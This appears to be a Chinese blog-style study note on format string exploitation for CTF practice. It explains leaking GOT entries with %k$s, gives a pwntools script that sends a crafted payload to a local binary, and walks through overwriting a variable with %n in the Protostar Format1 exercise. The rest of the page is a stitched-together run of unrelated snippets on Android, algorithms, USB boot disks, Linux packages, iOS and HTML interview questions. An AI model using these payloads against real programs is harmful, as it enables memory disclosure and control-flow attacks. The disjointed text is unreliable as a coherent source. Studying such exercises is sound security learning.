学习参照:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit/
利用%s泄露libc函数的got表内容
addr%k$s可以用来泄露指定地址的内容,但要先确定k的值,可控制的格式化字符串参数是函数第几个参数(k+1),减一就是格式化字符串的第几个参数(k)。
利用 [tag]%p%p%p%p%p%p%p%p%p%p来确定k的值
(懒得打字)
利用下面这个脚本随便改改就可以泄露got表内容了,觉得自己好草率
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of [email protected]
sh.interactive()
利用%n覆盖内存
输出格式 %n 可以将所输出字符串的长度值赋绐一个变量, 见下例:
int slen;
printf("hello world%n", &slen);
执行后变量slen被赋值为11。
payload结构:...[overwrite addr]....%[overwrite offset]$n
我们需要先1.确定要覆盖的内容的地址 2.确定与可控变量的相对偏移 3.构造payload进行覆盖
这里以Protostar的Format1为例子(https://exploit-exercises.com/protostar/)
源码为:
看源码可知,由print(string)引起的只要target不为0,就能执行if语句中的命令,思路就是覆盖target变量地址的内容,使target有值。
1.找到target的地址
找到target的地址为0x08049638
2.计算target与print参数的偏移量
被这步不知道坑了多久,终于找到了一个靠谱的方法(https://lightless.me/archives/protostar-format-writeup.html)
参拜了大神的方法之后,算出来偏移量,步骤如下
先大概测一下
减少四个
发现还差两个,补一下
可以看到括号里为自己输入的ABCD,终于对啦,把ABCD换为target的地址
3.括号里面变成了target的地址,接下来只用把最后的[%08x],换成[%08n]
就可以覆盖target的内容,是target不在为空,成功执行if语句中的命令
艰难的一天终于结束啦,果然还是晚上脑子比较好用。洗洗睡吧
打酱油的小李子 2017-04-15 00:00效果图关键代码1.监听滚动事件首先要给listview添加setOnScrollListener监听,注意这个监听在recyclerView上是addOnScrollListener,也就是说下面代码同时支持recyclerView。监听里会有两个方法,我们用onScroll方法记录 当前第一个可见Item
一个长度为n的无重复序列入栈的所有出栈方式例如1、2、3这三个数字,入栈并出栈共有5种方式,分别为:321、312、231、213、123。那么对于长度为n的无重复序列中所有的出栈方式有哪些呢?为了设计计算的算法,我们可以用队列(queue)来模拟输入,队列的输出则按照原先序列的顺序。使用一个栈(stack)来模拟入栈和出栈,结果保存在另外一个队列(queue)中。现在的问题来了,怎么...
1、你的U盘或移动硬盘之类的首先要先划分几块磁盘位置,用于存储多个系统镜像内容,就跟你电脑划分磁盘那样,可以采用DiskGenius来操作2、磁盘划分好了之后,你需要采用fat活动分区来存储系统镜像文件内容,类Unix、Windows都可以,但fat有个缺点,不支持超过4gb的文件传输,类Unix系列由于文件体积小,都不存在这种问题(不排除个别定制版本会出现大于4gb文件,比如某国产UI),也就是说,你在复制Windows系列文件时,你需要把那个磁盘格式化为ntfs或者exfat或者其他支持4gb以上文件
目标效果:结果是从1打印到99,这里只截取了下半部分。源码:import java.util.ArrayList;import java.util.Iterator;/** * 使用ArrayList集合,对其添加100个不同的元素: 1.使用add()方法将元素添加到ArrayList集合对象中; 2.调用集合的iterator()方法获得Iterator
http://s.sousb.com/转载于:https://www.cnblogs.com/leewiki/archive/2012/04/06/2434920.html
很多人在初学Linux的初期都会有一个关于tar包的疑问:Linux的tar.gz是二进制文件还是源码文件。而这个问题关系到我们该如何安装改软件。判别的方式:tar包解压后,看Readme或install文件,如果里面有让你make,make install,那就是源文件,让你编译安装主要提供三种格式的mysql包:rpm格式、二进制格式、源码格式:(tar打包,gz压缩)rpm格式:libjpeg-devel-6b-33.x86_64.rpm #rpm格式很好区分,二进制包...
1. Globus相关资源http://www.globus.org是Globus联盟的官方网站,和Globus相关的资源这里都有。2. GT版本的选择目前可用的或者说主流的版本有3个,GT2.4,GT3.2.1,GT4.0.1GT2.4:是一个成熟稳定的版本,绝大多数代码为C,包括了GRAM2, MDS2, GSI, GridFTP等部分。目前很多网格组织都使用它或它的衍生版本作为网格基础设施。
526. 优美的排列假设有从 1 到 N 的 N 个整数,如果从这 N 个数字中成功构造出一个数组,使得数组的第 i 位 (1 <= i <= N) 满足如下两个条件中的一个,我们就称这个数组为一个优美的排列。条件:第 i 位的数字能被 i 整除i 能被第 i 位上的数字整除现在给定一个整数 N,请问可以构造多少个优美的排列?示例1:输入: 2输出: 2解释:第 1 ...
**UINavigationItem** ** 每个视图控制器都有一个navigationItem属性 ** 每个视图控制器都可以通过navigationgItem属性来定制导航栏的显示 **UINavigationItem详解** @property(nonatomic,copy) NSString
前言在浏览各种技术文章的过程中,经常会看到Lisp这门程序语言。不过,我一直都不是很在意。我热爱编程,我的目标是“有能力完成一款游戏的所有程序开发工作”。在我追求这个目标而努力学习的过程中,Lisp从来就没有给过我重视它的理由。在游戏行业工作的这十年里,我从“几乎完全不懂程序”到“可以个人独立制作一个小游戏”,经历了非常多的技术积累和思考,我也喜欢这些思考的过程,给我带来的不仅仅是技术上的感悟。在...
今日内容1. 数据库连接池2. Spring JDBC : JDBC Template1、数据库连接池 概念:其实就是一个容器(集合),存放数据库连接的容器。 当系统初始化好后,容器被创建,容器中会申请一些连接对象,当用户来访问数据库时,从容器中获取连接对象,用户访问完之后,会将连接对象归还给容器。 好处1. 节约资源2. 用户访问高效获取数据库连接其实就是向操作系统底...
1.(常考)常见浏览器的内核分别是?2. Doctype的作用告诉浏览器按照何种规范解析页面3.(常考) HTML5行内元素有哪些?块级元素有哪些?空元素有哪些?语义化标签有哪些?(列举常见的)行内元素:abr(换行)em(斜体强调) i(斜体) strong(粗体强调)imginput label(表格标签) textarea(多行文本输入框)span(常用,定义文本内区块)sub(下标)、sup(上标)块级元素:div(常用)p(段落)h1-h6(标题,层次明确)h